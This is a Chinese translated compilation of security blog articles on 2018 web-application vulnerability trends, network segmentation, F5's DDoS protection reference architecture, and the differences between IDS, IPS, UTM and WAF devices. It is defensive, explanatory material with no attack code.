在下面的图8中,您可以找到在2018年发现的漏洞最多的10个WordPress插件。请注意,这些插件不一定是受攻击最多的插件,因为报告指的是全年看到的漏洞数量 - 并且基于 持续汇总来自不同来源的漏洞。 我们的年度报告完全基于此系统的统计信息,我们列出了2018年期间在WordPress和WordPress插件中发布的所有漏洞。 该指标仅考虑最多的漏洞。 还有其他措施未包含在报告中 - 例如“最高级别”或“最具风险性” - 这些措施不一定与此测量值相关。
服务器技术:PHP漏洞下降
由于最流行的网站服务器端编程语言仍然是PHP,我们预计它会比同等语言有更多的漏洞。 这是真的。 但是,如下图9所示,与2017年相比,PHP的新漏洞在2018年与2017年相比有所下降。 缺少PHP更新 - 仅在12月发布了一个小的更新,PHP 7.3,可以解释原因。
Drupal年
虽然Drupal是第三大最受欢迎的CMS,但它的两个漏洞是CVE-2018-7600(下图10中的'23-mar'栏),以及CVE-2018-7602(下面的'25 -apr'栏,也称为作为Drupalgeddon2和Drupalgeddon3),是2018年数十万个Web服务器中许多安全漏洞的根本原因。这些漏洞允许未经身份验证的攻击者远程注入恶意代码并在默认或常见的Drupal安装上运行它。这些漏洞允许攻击者连接到后端数据库,扫描和感染内部网络,挖掘加密货币,使用特洛伊木马感染客户端等等。
这些Drupal漏洞的简单性及其灾难性影响使它们成为许多攻击者的首选武器。事实上,在2018年期间,Imperva发现并阻止了与这些漏洞相关的超过50万次攻击。这些攻击也是我们今年写的一些有趣博客的基础。还有另一个风险漏洞,是10月份发布的Drupal安全补丁sa-core-2018-006的一部分。但是,由于攻击不容易,攻击次数很少。
预测2019年
作为安全供应商,我们经常被问及我们的预测。以下是我们对2019年的漏洞预测:
PHP宣布版本5.5,5.6和7.0达到了使用寿命。这意味着这些版本将不再接收安全更新。像WordPress,Drupal和Joomla这样的主要CMS是用PHP开发的,需要更新版本的PHP。但是,它们仍然支持旧版本。结果是,黑客现在有动力在不受支持的PHP版本中发现新的安全漏洞,因为它们不会被修复并影响使用这些过时版本构建的每个应用程序。例如,根据Shodan,目前有34K服务器具有这些不受支持的PHP版本
注入漏洞将继续增长主要是因为对攻击者的经济影响(赚快钱)
随着DevOps成为IT的关键因素,它们的使用和对API的需求不断增长,将会发现API中的更多漏洞
如何保护您的应用和数据
防范Web应用程序漏洞的最佳解决方案之一是部署Web应用程序防火墙(WAF)。 WAF可以是内部部署,云端部署,也可以是两者的组合,具体取决于您的需求,基础架构等。随着组织将更多应用程序和数据迁移到云中,考虑安全要求非常重要。专用安全团队支持的解决方案是添加到您的选择标准的解决方案。安全团队可以及时将安全更新推送到WAF,以便正确保护您的资产。
原文:https://www.imperva.com/blog/the-state-of-web-application-vulnerabilities-in-2018/
本文:
讨论:请加入知识星球或者小红圈【首席架构师圈】
- 26 次浏览
【网络安全】4个网络细分最佳实践,最大限度地提高安全性
应用强大的网络细分为您的组织创建“纵深防御”战略可以提供许多好处。从减慢攻击者的速度,到限制数据泄露的范围,再到更容易实施其他数据安全策略(如最小权限策略),网络分段对您的网络安全策略非常重要。
然而,什么是网络分割?更重要的是,你如何以有效和可靠的方式创建它?
为了帮助您更好地保护您的组织免受现代网络威胁,以下是对该网络安全概念的解释,以及一些网络细分最佳实践:
什么是网络分段?
正如Tufin在一篇关于这个主题的白皮书中所指出的:“分段是将组织的网络划分成更小的、因而更易于管理的接口分组。”换句话说,网络分段的核心是将一个由连接的资产组成的网络并将每一个资产隔离以提高安全性的做法以及可管理性。
网络分割的主要目标之一是限制对组织网络的任何特定攻击造成的损害的范围,尤其是那些由内部威胁引起的攻击。如果没有强大的网络分割,任何通过外围防御的威胁都可能影响整个网络。
那么,如何利用细分策略创建纵深防御呢?以下是一些网络细分的最佳实践,可以帮助您:
网络细分最佳实践#1:小心过度细分
虽然隔离网络上的单个资产是一种很好的网络安全策略,但也存在这样一种情况:分割太多。当一个网络被分割得太重时,管理起来会更困难,甚至会影响网络的性能,从而影响员工的生产力。
用尽可能高的限制级别锁定网络中的每个端点可能会使整个网络更安全,但对于大多数组织来说,这将过于资源密集和不切实际。
因此,您的纵深防御策略应该考虑到您隔离的每个资源有多重要,该端点上的数据和系统有多敏感,以及该资源预计要处理多少网络流量。这样做可以帮助您平衡应用的安全性和资源的价值。
网络细分最佳实践2:定期进行网络审计
你不能正确地隔离和保护你不知道你拥有的东西。任何纵深防御策略都必须定期进行网络审计。否则,您将面临丢失网络上某些端点和连接的风险,从而造成攻击者可能会利用的安全漏洞。
经常进行网络审核,以确定已添加到网络中的任何新资产是弥补组织中安全漏洞的最有效的网络安全最佳实践之一。所以,一定要经常进行。
网络细分最佳实践#3:将类似资源整合到一个数据库中
在准备实施网络分割策略时,不仅可以审核网络上的所有数据,而且可以合并各个数据库上的类似资源和数据。这有助于您更轻松地制定最低权限策略,并更容易地保护额外敏感信息。
例如,假设您的客户数据只需要由组织中极少数人访问。与其把这些数据放在几十个工作站上,不如将所有数据整合到一个受良好保护的单一数据库中,以提高安全性。
这比保护几十个端点所需的资源更少,并且允许您应用更严格的保护,而不会对整体网络性能或用户体验造成太大影响。
在为合并目的定义哪些资源“相似”时,可以帮助按类型和敏感度级别对数据进行分类。
网络细分最佳实践4:为特定供应商创建和隔离访问门户
大多数组织与不同的供应商合作以满足他们的各种需求。从暖通空调维修供应商,到供应链供应商,再到特定软件许可证的供应商,一个组织可能会为服务签订合同的专家名单没有尽头。虽然不是每个供应商都需要访问组织的后端,但有些供应商可能需要访问您的系统来提供服务。
在为您的网络上的外部供应商创建访问门户时,尽可能地将他们锁定,并且只提供对他们所需的资源的访问,以满足您的组织的功能,这一点很重要。这有助于限制供应商组织中安全漏洞的潜在影响。
例如,如果供应商被攻破,并且可以不受限制地访问您的系统,那么攻击者也可能会破坏您的网络。但是,如果供应商的访问权限仅限于与网络其余部分隔离的少数系统,则损害不太可能严重。
原文:https://www.compuquip.com/blog/network-segmentation-best-practices
本文:http://jiagoushi.pro/node/1087
讨论:请加入知识星球【首席架构师圈】或者小号【jiagoushi_pro】
- 39 次浏览
【网络安全】F5 DDoS保护参考架构
介绍
15年多来,F5一直与客户合作,保护他们的应用程序免受分布式拒绝服务(DDoS)攻击。随着时间的推移,F5®TMOS®系统的许多核心功能已经抵御DDoS攻击。自2012年以来的高调攻击让大型金融客户和企业重新设计其网络以包含DDoS保护。通过与这些客户合作,F5开发了一种DDoS保护参考架构,其中包括云和本地组件。
DDoS Protection参考架构的云组件可作为容量攻击缓解的保险策略。在本地,参考架构包括多层防御以保护第3层到第7层。网络防御层保护DNS和第3层和第4层。免受网络攻击的噪音,应用防御层可以使用其CPU资源来保护高层应用。该策略使组织能够抵御所有类型的DDoS攻击,并且已经在多个F5客户数据中心提供优势。
DDoS的四类
虽然DDoS威胁形势在不断发展,但F5发现攻击仍然属于四种攻击类型:体积,非对称,计算和基于漏洞。这些攻击类别具有以下特征:
- 可以在第3层,第4层或第7层进行基于容量泛滥的攻击。
- 非对称攻击旨在调用超时或会话状态更改。
- 旨在消耗CPU和内存的计算攻击。
- 基于漏洞的攻击利用软件漏洞。
防御机制已经发展到可以处理这些不同的类别,而今天的知名组织已经学会将它们部署在特定的安排中,以最大限度地提高其安全状况。通过与这些公司合作并对其组件进行微调,F5开发了一种推荐的DDoS缓解架构,可以适应特定的数据中心规模和行业要求。
构建DDoS保护解决方案
以下DDoS保护架构围绕着名的行业组件构建。其中一些设备可能由其他供应商和供应商提供,但有些是特定的F5组件。
DDoS保护架构的组件
图1显示了DDoS架构组件到它们缓解的四种DDoS攻击类别的映射。
攻击类别 | 缓解组件 |
---|---|
容量 |
基于云的刷洗服务 Web应用防火墙 |
非对称 | Web应用防火墙 |
计算 |
应用交付控制器 网络防火墙 |
漏洞为基础的 |
IP信誉数据库 入侵防御/检测系统(IDS / IPS) 应用交付控制器 |
图1:DDoS缓解组件到攻击类型的映射。
基于云的DDoS清理服务
基于云的DDoS清理服务是任何DDoS缓解架构的关键组件。当攻击者在组织的1 Gbps入口点发送50 Gbps数据时,任何数量的本地设备都无法解决该问题。云服务由真正的公共云或组织的带宽服务提供商托管,通过从可能的商品中挑选出明显的坏处来解决问题。
支持DDoS的网络防火墙
网络防火墙长期以来一直是外围安全的基石。但是,许多网络防火墙根本不能抵御DDoS攻击。实际上,许多最畅销的防火墙可以通过最简单的第4层攻击来禁用。如果防火墙无法识别并减轻攻击,那么纯粹的吞吐量就不是答案。
对于基于第3层和第4层的安全控制设备,F5建议架构师选择高容量,DDoS感知的网络防火墙。具体而言,架构师应该寻求支持数百万(而不是数千)的同时连接,并能够在不影响合法流量的情况下排斥SYN泛洪。
应用交付控制器
应用交付控制器(ADC)提供网络中的战略控制点。在正确选择,配置和控制时,它们可以显着增强DDoS防御。例如,F5 ADC的完全代理性质通过验证HTTP和DNS等常用协议来减少基于计算和漏洞的威胁。出于这些原因,F5建议使用全代理ADC。
具有集成DDoS保护的Web应用防火墙
Web应用程序防火墙是一个更高级别的组件,可以理解和实施应用程序的安全策略。无论是体积式HTTP泛洪还是基于漏洞的攻击,此组件都可以查看和缓解应用层攻击。一些供应商提供Web应用程序防火墙。但是,对于有效的DDoS架构,F5建议仅使用自己的Web应用程序防火墙模块,原因如下:
- F5 Web应用程序防火墙可以提供其他服务,例如防黑客,Web抓取保护和PCI合规性。
- F5客户可以同时使用ADC和Web应用程序防火墙的组合来应用应用程序交付和应用程序安全策略。
- F5 ADC卸载并检查SSL流量。通过将其与Web应用程序防火墙相结合,客户可以在一个设备中整合加密有效负载的SSL终止和安全性分析。
入侵检测和预防系统
入侵检测和防御系统(IDS / IPS)在DDoS缓解方面可以发挥很小的作用。 F5建议不应将IDS / IPS功能部署在单个位置(例如,集成到第4层防火墙中)。 IDS / IPS应部署在可能需要特定额外保护的后端组件前面的某些实例中,例如数据库或特定Web服务器。
IP信誉数据库
IP信誉数据库通过防止DDoS攻击者使用已知扫描程序探测应用程序以供以后利用和渗透来帮助防御非对称拒绝服务攻击。 IP信誉数据库可以在内部生成或来自外部订阅服务。
多层DDoS保护架构
F5推荐混合云/本地DDoS解决方案。 F5 Silverline™DDoS防护将通过F5 Silverline基于云的平台提供服务,从而减轻容量攻击。 Silverline DDoS Protection将分析并删除大部分攻击流量。 有时,DDoS活动可能包括必须在内部处理的应用层攻击。 可以使用网络防御和应用防御层来减轻这些不对称和计算攻击。 网络防御层由第3层和第4层网络防火墙服务组成,并对应用防御层进行简单的负载均衡。 应用程序防御层包括更复杂(以及更多CPU密集)的服务,包括SSL终止和Web应用程序防火墙堆栈。
图2:混合F5 DDoS保护参考架构。
对于DDoS保护架构的内部部分,分离网络防御和应用防御具有令人信服的好处。
网络和应用程序防御层可以彼此独立地扩展。例如,当Web应用程序防火墙使用量增加时,可以将另一个设备(或刀片)添加到应用程序层,而不会影响网络层。
网络和应用程序防御层可以使用不同的硬件平台甚至不同的软件版本。
在应用程序防御层应用新策略时,网络防御层可以将一部分流量直接指向新策略,直到完全验证为止。
F5组件和功能
图3显示了提供特定功能所需的组件。 DDoS防护参考架构的F5组件包括:
- Silverline DDoS保护
- BIG-IP®高级防火墙管理器™(AFM)
- BIG-IP®本地流量管理器™(LTM)
- 采用DNS Express™的BIG-IP®全球流量管理器™(GTM)
- BIG-IP®应用安全管理器™(ASM)
Cloud | Network Defense | Application Defense | DNS | |
---|---|---|---|---|
F5 Components |
SilverLine DDoS Protection |
BIG-IP AFM BIG-IP LTM |
BIG-IP LTM BIG-IP ASM |
BIG-IP GTM with DNS Express™ |
OSI Model | Layers 3 and 4 | Layers 3 and 4 | Layer 7 | DNS |
Capabilities |
Volumetric scrubbing Traffic dashboarding |
Network firewall Layer 4 load balancing IP blacklists |
SSL termination Web application firewall Secondary load balancing |
DNS resolution DNSSEC |
Attacks Mitigated |
Volumetric floods Amplification Protocol whitelisting |
SYN floods ICMP floods Malformed packets TCP floods Known bad actors |
Slowloris Slow POST Apache Killer RUDY/Keep Dead SSL attacks |
UDP floods DNS floods NXDOMAIN floods DNSSEC attacks |
图3:F5组件到DDoS缓解功能的映射。
内部部署保护的替代性,综合方法
虽然多层架构在高带宽环境中是首选,但F5了解到,对于许多客户而言,构建多个DDoS层对于其低带宽环境而言可能过度。这些客户正在部署DDoS缓解外围设备,该设备将应用交付与网络和Web应用防火墙服务整合在一起。
本文档中的建议做法仍适用于这些客户。对网络和应用程序防御层的引用可以简单地应用于备用体系结构中的单个整合层。
使用DDoS保护架构来维护可用性
用于容量防御的云
总是存在足够大的体积攻击以溢出组织的入口容量的风险。针对这些攻击的防御措施是通过一组高带宽数据中心重新路由传入攻击,这些数据中心可以在将流量返回到原始数据中心之前清理流量。
影响云提供商选择的因素包括容量,延迟和价值。如图4所示,现代DDoS攻击速度为每秒数百吉比特。现代云洗刷器具有吸收这些卷的攻击的能力。
当云洗涤器没有足够靠近客户自己的数据中心的洗涤中心时,会添加延迟。中小型企业(SMB)和区域性公司可以在其所在地区找到云洗涤器,但跨国公司对每个全球区域的洗涤中心都有要求。
容量和能力
- 全球覆盖 - 北美,欧洲和亚洲的数据中心。
- 全球容量的太比特或每个中心数百吉比特。
组织会说,只有在活动结束后才能找到云擦洗器的真正价值。决定他们满意度的问题包括:
- 那个东西贵吗?
- 假阳性的程度是多少?
- 我们是否能够了解和控制合法流量的交付?
Ready Defense订阅作为备份云清理服务
许多客户已经与外部DDoS清理服务达成协议。这些组织也可以从备份清理服务中受益。 Silverline DDoS Protection可以通过Ready Defense™订阅以这种方式使用。作为该组织的主要DDoS擦除器,Ready Defense可以接管以协助或完全缓解攻击。
始终可用订阅作为主要服务
组织可以使用Silverline DDoS Protection Always Every™订阅作为响应DDoS攻击的主要服务。他们可以替换现有的主服务或将其现有服务委托为辅助服务。
部署模型
Silverline DDoS Protection有两种主要的部署模型:路由配置和F5 IP Reflection™。
路由配置适用于需要保护其整个网络基础架构的企业。 Silverline DDoS Protection利用边界网关协议(BGP)将所有流量路由到其清理和保护中心,并利用通用路由封装(GRE)隧道将干净流量发送回原始网络。路由配置是具有大型网络部署的企业的可扩展设计。它不需要任何特定于应用程序的配置,并提供打开或关闭Silverline DDoS保护的简单选项。
IP反射是一种替代的非对称技术,可在不需要GRE隧道的情况下提供网络基础设施保护。具有支持目标NAT的设备的组织可以利用IP反射。使用IP反射,无需更改任何IP地址,并且IP地址空间不受GRE影响。
Silverline DDoS Protection使用的返回流量方法包括:
- (AWS)直接连接
- IP反思
- GRE隧道
- 代理
- 客户捆绑(光纤)
体积攻击聚光灯:放大攻击
图4显示,2014年世界上最大的DDoS攻击记录被多次破坏。这些攻击中的每一种都使用了一种称为“放大”的技术,攻击者利用NTP,DNS和SNMP协议中的弱点来指导目标受害者的数千个不知情的公共互联网主机的响应。
内部网络防御
网络防御层围绕网络防火墙构建。 它旨在缓解SYN洪水和ICMP碎片洪水等计算攻击。 此层还可以缓解容积攻击,直至入口点拥塞(通常为额定管道大小的80%到90%)。 许多客户将其IP信誉数据库集成到此层,并在DDoS攻击期间按源控制IP地址。
有些组织将DNS通过第一层传递到DMZ中的DNS服务器。 在此配置中,使用右侧第4层控件,它们可以在将DNS数据包发送到服务器之前验证DNS数据包的有效性。
图5:网络防御层可以防御网络层DDoS攻击。
计算DDoS攻击焦点:缓解TCP和SSL连接泛滥
TCP连接泛洪是第4层攻击,可以影响网络上的任何有状态设备,尤其是不具有DDoS抗性的防火墙。攻击旨在消耗每个有状态设备中的流连接表的内存。这些连接洪水通常没有实际内容。它们可以被吸收到网络层中的高容量连接表中,或者通过全代理防火墙来缓解。
SSL连接泛洪专门用于攻击终止加密流量的设备。由于必须维护加密上下文,每个SSL连接可能会占用50,000到100,000字节的内存。这使得SSL攻击特别痛苦。
F5建议使用容量和完全代理技术来减轻TCP和SSL连接泛滥。图6显示了基于F5的网络防火墙的连接容量。
Platform Series | TCP Connection Table Size | SSL Connection Table Size |
---|---|---|
VIPRION Chassis | 12–144 million | 1–32 million |
High-End Appliances | 24–36 million | 2.5–7 million |
Mid-Range Appliances | 24 million | 4 million |
Low-Range Appliances | 6 million | 0.7–2.4 million |
Virtual Edition | 3 million | 0.7 million |
图6:F5硬件平台的连接容量。
内部部署应用防御
应用程序防御层是F5建议使用F5iRules®部署应用程序感知,CPU密集型防御机制(如登录墙,Web应用程序防火墙策略和动态安全上下文)的地方。 这些组件通常会与此层的目标IDS / IPS设备共享机架空间。
这也是SSL终止通常发生的地方。 虽然一些组织在网络防御层终止SSL,但由于SSL密钥和策略的敏感性使其不能保持安全边界,因此不太常见。
图7:Web应用防火墙防御应用层DDoS攻击。
非对称DDoS攻击聚焦:减轻GET洪水
递归GET和POST是当今最有害的攻击之一。它们很难与合法流量区分开来。 GET洪水可以淹没数据库和服务器,它们也可能导致“反向满管”.F5记录了一个攻击者正在向目标发送100 Mbps的GET查询并带出20 Gbps的数据。
GET洪水的缓解策略包括:
- 登录墙防御
- DDoS保护配置文件
- 真正的浏览器实施
- CAPTCHA
- 请求限制iRules
- 自定义iRules
可以在F5 DDoS建议实践文档中找到这些策略的配置和设置。
DNS DDoS缓解
DNS是HTTP之后的第二大目标服务。当DNS中断时,所有外部数据中心服务(不仅仅是单个应用程序)都会受到影响。这种单一的完全失败以及经常使用不足的DNS基础架构使DNS成为攻击者的诱人目标。
针对查询泛洪过度配置DNS服务
DNS服务在历史上一直处于供应不足的状态。很大比例的DNS部署配置不足,甚至无法承受中小型DDoS攻击。
DNS缓存已经变得流行,因为它们可以提高DNS服务的感知性能,并提供一些抵御标准DNS查询攻击的弹性。攻击者已经切换到所谓的“无此域”(或NXDOMAIN)攻击,这会迅速消耗缓存提供的性能优势。
为了解决这个问题,F5建议使用名为F5 DNS Express™的特殊高性能DNS代理模块来结束BIG-IP GTM DNS服务。 DNS Express充当现有DNS服务器前面的绝对解析器。它从服务器加载区域信息并解析每个请求或返回NXDOMAIN。它不是缓存,无法通过NXDOMAIN查询泛洪清空。
考虑DNS服务的位置
DNS服务通常作为除第一安全边界之外的其他设备集存在。这样做是为了保持DNS独立于它所服务的应用程序。例如,如果安全边界的一部分变暗,DNS可以将请求重定向到辅助数据中心或云。将DNS与安全性和应用程序层分开是一种有效的策略,可以保持最大的灵活性和可用性。
一些拥有多个数据中心的大型企业使用BIG-IP GTM与DNS Express和BIG-IP AFM防火墙模块相结合,在主要安全范围之外提供DNS服务。这种方法的主要好处是即使网络防御层由于DDoS而脱机,DNS服务仍然可用。
无论是在DMZ内部还是外部提供DNS,BIG-IP GTM或BIG-IP AFM都可以在DNS请求到达DNS服务器之前验证它们。
参考架构用例
以下是参考架构的三个用例,它映射到三个典型的客户场景:
- 大型金融服务机构(FSI)数据中心
- 企业数据中心
- SMB数据中心
下面的每个用例都包含部署方案图,用例细节的简短描述以及该方案中推荐的F5组件。有关其他尺寸信息,请参见图14。
大型FSI DDoS保护参考架构
图8:F5 DDoS保护大型FSI数据中心部署方案。
大型FSI客户场景
大型FSI数据中心场景是DDoS成熟,公认的用例。通常,FSI将拥有多个服务提供商,但可能会放弃这些服务提供商的批量DDoS产品,转而采用其他清理服务。其中许多还可能具有备份容量DDoS服务,作为针对其主云擦除器故障的保险策略。
FSI数据中心通常只有很少的公司员工,因此不需要下一代防火墙。
FSI在联邦/军事纵向之外拥有最严格的安全政策。例如,几乎所有FSI都必须通过整个数据中心对有效负载进行加密。 FSI在互联网上拥有最高价值的资产类别(银行账户),因此它们经常成为目标 - 不仅是DDoS,也是黑客攻击。双层内部部署体系结构使FSI组织能够在应用程序层上扩展其CPU密集型,全面的安全策略,而无需考虑其在网络层中的投资。
此用例允许FSI创建一个DDoS抗性解决方案,同时保留(实际上,同时利用)他们已有的安全设备。网络防御层的防火墙继续发挥作用,应用防御层的BIG-IP ASM设备继续防止漏洞。
Location | F5 Equipment |
---|---|
Cloud |
Silverline DDos Protection: Ready Defense Subscription Always Available Subscription |
Network Tier |
VIPRION Chassis (Pair) VIPRION Add-On: BIG-IP AFM |
Application Tier |
Mid-Range BIG-IP Appliance License Add-On: BIG-IP ASM |
DNS | Mid-Range BIG-IP Appliance (Pair) |
图9:FSI客户部署方案的大小调整建议。
企业DDoS保护参考架构
图10:F5 DDoS防护企业数据中心部署方案。
企业客户场景
企业防DDoS场景类似于大型FSI场景。主要区别在于企业确实在数据中心内部有员工,因此需要下一代防火墙(NGFW)的服务。他们很想使用单个NGFW进行入口和出口,但这使他们容易受到DDoS攻击。另一个区别是企业通常会使用互联网服务提供商(ISP)提供的体积DDoS服务。
F5建议企业使用备份容量DDoS服务作为针对ISP云扫描器故障的保险策略。这些客户可以使用Ready Defense订阅作为容量保护的辅助服务。
在内部,推荐的企业体系结构在与入口应用程序流量不同的路径上包括较小的NGFW。通过使用网络防御层和应用程序防御层,企业可以利用非对称扩展 - 如果发现CPU处于溢价状态,则可以添加更多BIG-IP ASM设备。
不同的垂直行业和公司有不同的要求。通过在两层使用F5设备,企业架构允许客户决定解密(并可选地重新加密)SSL流量最有意义的地方。例如,企业可以在网络防御层解密SSL,并将解密的流量镜像到监控高级威胁的网络分流器。
Location | F5 Equipment |
---|---|
Cloud |
Silverline DDoS Protection: Ready Defense Subscription Always Available Subscription |
Network Tier |
High-End BIG-IP Appliance (Pair) License Add-On: BIG-IP AFM |
Application Tier |
Mid-Range BIG-IP Appliance License Add-On: BIG-IP ASM |
DNS | Mid-Range BIG-IP Appliance (Pair) |
图11:企业客户部署方案的大小调整建议。
SMB客户场景
SMB数据中心用例是关于提供安全性,同时最大化整合价值。这些企业非常重视获得最大收益。如果可以,他们希望从一台设备上做所有事情,并且他们愿意在DDoS攻击期间下线。
对于这个用例,客户将所有鸡蛋放在一个篮子里。它将获得最具成本效益的解决方案,但也将面临最大的可用性挑战。
另一方面,组织通过在单一平台上集中具有深厚知识的专业资源来提高效率。 F5提供高可用性系统,卓越的规模和性能,以及世界一流的支持,有助于进一步抵消风险。
当然,财务节省是这种整合架构的最大好处。这些客户可以获得卓越的DDoS解决方案,其设备已经开始每天为其创收应用程序提供服务。整合的环境有助于节省机架空间,电源和管理。
Location | F5 Equipment |
---|---|
Cloud |
Silverline DDoS Protection: Ready Defense Subscription Always Available Subscription |
Consolidated On-Premises Tier |
Mid- to High-End BIG-IP Appliance Pair License Add-On: BIG-IP GTM License Add-On: BIG-IP ASM License Add-On: BIG-IP AFM License Add-On: BIG-IP APM |
图13:SMB客户部署方案的大小调整建议。
尺寸规格
图14显示了可用于满足客户扩展要求的F5硬件设备系列的规格。
Throughput | SYN Flood (per second) | ICMP Flood | HTTP Flood (JavaScript redirect) | TCP Connections | SSL Connections | |
---|---|---|---|---|---|---|
VIPRION 2400 4-blade chassis | 160 Gbps | 196 million | 100 Gbps | 350,000 RPS | 48 million | 10 million |
10200V Appliance High-end appliance |
80 Gbps | 80 million | 56 Gbps | 175,000 RPS | 36 million | 7 million |
7200V Appliance Mid-range appliance |
40 Gbps | 40 million | 32 Gbps | 131,000 RPS | 24 million | 4 million |
5200v Appliance Low-range appliance |
30 Gbps | 40 million | 32 Gbps | 131,000 RPS | 24 million | 4 million |
图14:DDoS保护的F5硬件规格。 有关特定尺寸建议,请参阅客户使用案例。
结论
这种推荐的DDoS保护参考架构利用了F5与客户抗击DDoS攻击的长期经验。 中小型企业通过综合方法取得成功。 全球金融服务机构认识到推荐的混合架构代表了所有安全控制的理想位置。 企业客户也在围绕这种架构重新安排和重新架构他们的安全控制。 在可预见的未来,混合DDoS保护架构应该继续提供当今架构师应对现代DDoS威胁所需的灵活性和可管理性。
原文:https://www.f5.com/services/resources/white-papers/the-f5-ddos-protection-reference-architecture
本文:
讨论:请加入知识星球或者小红圈【首席架构师圈】
- 53 次浏览
【网络安全】IDS vs IPS vs UTM - 有什么区别?
在我们上一次网络广播中,我们了解了这些疯狂的首字母缩略词IDS和IPS的遗留问题以及它们与UTM软件模块的相似之处。每个人都喜欢引物和简单的描述性定义,所以让我们一起思考一下。
IDS
入侵检测传感器(IDS)是一种最明显可以检测到的东西;但是有什么事情?最终它可能是任何东西,但幸运的是大多数供应商都包含大量的“签名”和/或检测东西的方法。我想要检测什么?对于每个网络,这个答案会有所不同,尽管通常它会寻找不寻常的流量。什么不寻常?简单来说,它是您不希望在网络上流量的流量,无论是策略/滥用(IM,游戏等)还是最新的恶意软件。
正如他们在房地产中所说:它的位置,位置,位置。不是机架中的位置,而是IDS将监控的网络部分。监控入口/出口点的流量将显示进出的情况(当然,在防火墙策略批准之后),但可能不允许您看到远程办公室连接到核心组件。
您不想做的一件事是检查防火墙公共端的流量。监控内部交换机上的所有流量(如LAN或DMZ)将允许IDS监控用户活动或密钥服务器,但不会发现网络其他部分发生的事情。除非您拥有无限的资源,否则您可能无法监控网络上的所有内容,因此关键决策将是哪个流量最重要,哪个网段提供最佳优势。
IDS可以被动地监控多个网段,并可以监控IPS或UTM永远不会看到的流量,例如完全停留在LAN或DMZ内的流量。因此,IDS可以在桌面计算机上发出警报,攻击LAN上的其他桌面计算机,这是IPS或UTM因内联而错过的内容。
IPS与IDS
IPS(入侵防御传感器)在大多数情况下都是IDS,除了它可以对当前流量进行内联操作。这听起来很棒吗?好几乎。 IPS和UTM本质上必须是内联的,因此只能看到进出区域的流量。一个巨大的问题是IPS可以防止业务合法或创收流量(IPS,记住,可以改变流量)。 IPS操作包括drop,reset,shun或custom脚本操作,所有这些操作都会在签名匹配时立即发生。如果IPS丢弃合法流量,这种可能的负面行为会使负责安全的人现在对收入损失负责。根据我们的经验,只要您还利用区分IPS的关键组件,IPS设备就能成为出色的工具。
确保您的IPS设备能够“失效打开”;这意味着如果应用程序的任何部分发生故障,甚至机箱发生故障(任何人都会断电),该设备将继续通过流量。没有人想要一块阻碍数据流动的砖块。
还要意识到实际上只有一小部分签名可以被允许对流量采取行动。为了帮助减少误报率,应该有一个非常明确的家庭网或受保护的范围,允许面向方向的签名更有效。您还需要花费大量时间查看警报和事件输出,以确保允许采取措施的签名按预期工作。您可以在每次签名更新时花更多时间预先花费更多时间,查看供应商选择采取行动的签名,并考虑这会如何影响您的流量。我们已经看到这种方法在防火墙在“开放”网段之间不是很受欢迎的环境中效果最好。
UTM设备中基于软件的模块
这将我们带入统一威胁管理(UTM)设备中基于软件的模块。关于这些设备的关键项目恰好是缺点,尽管这并没有降低它们的功效。显然,它们只能位于UTM本身所在的位置。通常,这是您的Internet网关或LAN和DMZ之间的访问控制点的交接点。在这种情况下,UTM将无法查看DMZ或LAN上的所有系统到系统流量,而只能看到来自该段的流量。
此外,UTM不是专用平台,因此倾向于具有更高的误报率(尽管这越来越好)。在高CPU或内存利用率的情况下,它们将关闭软件模块以保留设备的主要功能,作为防火墙。这是与不是专用平台相关的重要一点,有助于证明对专用设备的请求是合理的。如果您拥有的是这样的设备,我们会说它!从您的网络进出流量比看到根本没有任何IDS要好得多。请您的供应商验证他们是否在防火墙策略后对逻辑流量进行了逻辑检查,如果您的设备进入保存模式或始终看到高资源利用率,请务必立即通知自己。
因此,总之,比较IDS,IPS和UTM
这三者中没有一个是“设置并忘记它”的设备。 每天都会出现新的恶意软件和利用和检测的载体。 无论您的选择如何,您都会经常在签名事件/警报输出中重复进行维护,并且需要更新和管理您的策略,尤其是在IPS的情况下。 更新可以自动应用于所讨论的任何设备,但这并不能免除人工审查的需要。 每天留出一些时间来检查您的设备,并考虑关闭在您的环境中没有任何作用的签名组(想想“基于策略”)并精确调整其他噪音。
我们所写的所有警示性声明都希望不会吓到你。 在您的环境中进行流量检查是了解网络流量的好方法。
原文:https://www.alienvault.com/blogs/security-essentials/ids-ips-and-utm-whats-the-difference
本文:http://pub.intelligentx.net/ids-vs-ips-vs-utm-whats-difference
讨论:请加入知识星球或者小红圈【首席架构师圈】
- 65 次浏览
【网络安全】WAF vs IPS:有什么区别?
公司最有价值的资产之一(如果不是最多)是其信息及其系统。 致力于成为“计算机窃贼”的人也知道这一点,所以他们尝试不同的方法来攻击我们的公司网络并访问我们有价值的信息。 进行网络攻击的“武器”类型已经多样化,以至于在我们的网络入口处安装防火墙或任何NGFW以及在用户计算机上安装防病毒已经不够了。 网络管理员知道这就像锁住我们房子的前门,但是所有的窗户和后门都打开了。 既然攻击发生在网络协议中的不同“层”中,我们需要针对每种类型的流量使用不同的防御系统。 越来越多的公司在Web应用程序中拥有永久业务这一事实可能使他们更加脆弱。
在一个理想的世界中,我们的Web应用程序的代码不应该有任何安全“差距”,这可能会使我们的数据面临风险,但实际上这不太可能,因此有必要使用外部应用程序。当然,存在越多的安全障碍,企业主和网站所有者将感受到更多的安心。目前有哪些选择可以保护我们公司的服务器(甚至数据中心)免受对我们数据的大量威胁?我们来谈谈两个选项:Web应用程序防火墙(WAF)和另一方面入侵防御系统。每个人的特点是什么?它们有什么共同点,它们有什么区别?两者中的哪一个为网络提供了更多安全性?
Web应用程序防火墙(WAF)
Web应用程序防火墙(WAF)是一种解决方案(硬件或软件),可用作外部用户和Web应用程序之间的中介。这意味着在到达Web应用程序或用户之前,WAF会分析所有HTTP通信(请求 - 响应)。
为了执行HTTP流量监控和分析,WAF应用一组先前定义的规则,这些规则可以检测恶意HTTP请求,例如跨站点脚本(XSS),SQL注入,Dos或DDos攻击,cookie操作和很多其他的。一旦WAF检测到威胁或攻击,它就会阻止流量以拒绝恶意请求或响应敏感数据。如果没有线程或攻击,您的所有流量都应该正常流动,以便所有检查和保护对用户透明,并且不应影响任何日常业务Web应用程序操作。
入侵防御系统(IPS)
在入侵防御系统(IPS)的情况下,是一种更通用的保护设备。它为各种协议类型的流量提供保护,例如DNS,SMTP,TELNET,RDP,SSH,FTP等。 IPS使用不同的方法检测恶意流量,例如:
基于签名的检测:
基于签名的检测作为防病毒程序。公司可以识别威胁并向管理员发送警报。要使此方法正常工作,所有签名都必须包含最新更新。
基于策略的检测:
IPS要求非常具体地声明安全策略。 IPS会识别这些策略之外的流量并自动将其丢弃。
